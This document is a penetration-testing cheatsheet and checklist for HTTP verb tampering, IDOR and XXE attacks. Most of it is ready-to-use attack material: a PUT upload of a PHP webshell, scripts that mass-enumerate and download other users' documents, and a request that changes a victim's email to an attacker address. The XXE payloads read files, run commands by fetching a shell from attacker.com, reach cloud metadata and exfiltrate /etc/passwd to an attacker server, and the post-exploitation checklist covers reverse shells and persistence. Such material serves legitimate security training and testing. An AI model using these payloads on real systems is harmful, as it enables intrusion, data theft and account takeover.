Cheatsheet

HTTP Verb Tampering — Enumerate Methods

curl -i -X OPTIONS http://target/
curl -i -X OPTIONS http://target/endpoint

HTTP Verb Tampering — Try Each Verb

curl -X GET      http://target/protected
curl -X HEAD     http://target/protected
curl -X POST     http://target/protected
curl -X PUT      http://target/protected
curl -X DELETE   http://target/protected
curl -X OPTIONS  http://target/protected
curl -X PATCH    http://target/protected

HTTP Verb Tampering — Switch GET/POST for Filter Bypass

# original — filtered
GET /search.php?code=admin'-- - HTTP/1.1
 
# bypass — not filtered
POST /search.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
 
code=admin'-- -

PUT File Upload (Webshell)

curl -X PUT -d '<?php system($_GET["c"]); ?>' http://target/shell.php
curl "http://target/shell.php?c=id"

IDOR — Sequential Enumeration

# generate id list
for i in {1..100}; do echo $i; done > ids.txt
 
# fuzz
ffuf -w ids.txt -u http://target/users.php?uid=FUZZ -fs <baseline_size>

IDOR — Mass Download Script

#!/bin/bash
url="http://target"
for i in {1..100}; do
    for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "/documents.*?\.pdf"); do
        wget -q "$url/$link"
    done
done

IDOR — Hash Discovery (MD5 of sequential)

for i in {1..100}; do
    echo "$i: $(echo -n $i | md5sum | tr -d ' -')"
done

IDOR — Base64 + MD5 (common frontend pattern)

for i in {1..10}; do
    echo -n $i | base64 -w 0 | md5sum | tr -d ' -'
done

IDOR — Enumerate via POST with Hash

for i in {1..100}; do
    hash=$(echo -n $i | base64 -w 0 | md5sum | tr -d ' -')
    curl -sOJ -X POST -d "contract=$hash" http://target/download.php
done

IDOR — Modify Another User’s Data (REST)

# read someone else's details
curl http://target/api/users/6 -H "Cookie: session=..."
 
# change their email
curl -X PUT http://target/api/users/6 \
     -H "Content-Type: application/json" \
     -H "Cookie: session=..." \
     -d '{"email":"attacker@evil.com"}'

Chaining IDOR + HTTP Verb Tampering

# PUT blocked, but GET works:
curl -X GET http://target/api/users/6         # discover UUID
# Then use discovered UUID in the PUT:
curl -X PUT http://target/api/users/6 -d '{...}' -H "Cookie: session=..."

Basic XXE — File Read

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><email>&xxe;</email></root>

XXE — PHP Source Code (base64)

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root><email>&xxe;</email></root>

XXE — RCE via expect

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "expect://id">
]>
<root><email>&xxe;</email></root>

XXE — RCE via Shell Upload

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'http://attacker.com/shell.php'">
]>
<root><email>&xxe;</email></root>

XXE — SSRF to Cloud Metadata

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><email>&xxe;</email></root>

XXE — OOB Exfiltration

Attacker’s xxe.dtd:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://ATTACKER:8000/?content=%file;'>">
%oob;

Attacker’s collector (index.php):

<?php
if (isset($_GET['content'])) {
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

Payload sent to target:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://ATTACKER:8000/xxe.dtd">
  %remote;
]>
<root>&content;</root>

XXE — CDATA Wrap (for files with special chars)

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/index.php">
  <!ENTITY % end "]]>">
  <!ENTITY % remote SYSTEM "http://ATTACKER/xxe.dtd">
  %remote;
]>
<root><email>&joined;</email></root>

With xxe.dtd:

<!ENTITY joined "%begin;%file;%end;">

XXE — Billion Laughs DoS (legacy only)

<?xml version="1.0"?>
<!DOCTYPE lol [
  <!ENTITY a0 "DOS">
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
]>
<root>&a2;</root>

XXEinjector (automation)

git clone https://github.com/enjoiz/XXEinjector
ruby XXEinjector.rb --host=ATTACKER_IP --httpport=8000 --file=/tmp/req.txt --path=/etc/passwd --oob=http --phpfilter

Content-Type JSON→XML Bypass

POST /api/endpoint HTTP/1.1
Content-Type: application/xml
 
<?xml version="1.0"?>
<root>
  <field>value</field>
</root>

Common IDOR Parameters

?uid=
?id=
?user_id=
?account=
?account_id=
?order=
?file=
?doc=
?invoice=
?contract=

Common XXE Content-Types

application/xml
text/xml
application/soap+xml
application/rss+xml
application/atom+xml

Checklist

HTTP Verb Tampering

  • Run curl -X OPTIONS against every endpoint; note allowed methods
  • On protected endpoints, try every method listed in Allow header
  • Watch for 200s instead of 401s on unexpected methods
  • If filter blocks GET params, retry via POST
  • If filter blocks POST params, retry via GET
  • On PUT-allowed endpoints, test file upload
  • Check web server config for <Limit> without corresponding <LimitExcept>

IDOR Identification

  • Enumerate all requests that reference objects by ID (URL, body, header, cookie)
  • Check if the reference is numeric and sequential (easiest case)
  • Check if the reference is base64-encoded (decode and inspect)
  • Check if the reference is a hash (try hashing sequential numbers)
  • Check front-end JS for hashing or encoding functions
  • Register multiple accounts and compare their requests

IDOR Exploitation

  • Try incrementing/decrementing the ID by 1
  • Try common IDs (1, 2, 100, 1000, 9999)
  • Fuzz with ffuf and filter by response size
  • Automate enumeration with bash loop + curl
  • Try chaining: GET for discovery, PUT/POST for exploitation
  • Check if hidden admin endpoints work with normal user session
  • Hunt for admin AJAX functions in front-end JavaScript

XXE Identification

  • Find any endpoint accepting XML (Content-Type: application/xml)
  • On JSON endpoints, try changing Content-Type to XML
  • Identify which element from the XML is echoed back in the response

XXE Exploitation

  • Try basic file read with file:///etc/passwd
  • If no output but errors show: error-based XXE
  • If no output and no errors: OOB exfiltration via attacker server
  • Use PHP wrapper (php://filter/convert.base64-encode) for source code
  • Use CDATA wrap for files with special characters
  • Try expect://id for RCE (requires Expect extension)
  • Try http://169.254.169.254/ for cloud metadata (SSRF)
  • If stuck, automate with XXEinjector

Post-Exploitation

  • Read application config files (DB credentials, API keys)
  • Read source code of entry points and auth logic
  • Hunt for internal services via XXE-SSRF
  • If RCE achieved: upgrade to reverse shell, persist, pivot

Defender View (for reporting)

  • Document the specific misconfiguration (Apache Limit, inconsistent $_REQUEST, enabled external entities)
  • Reference the correct fix for the exact platform (Apache, Java, PHP)
  • Note severity tied to impact (single-user read vs full compromise)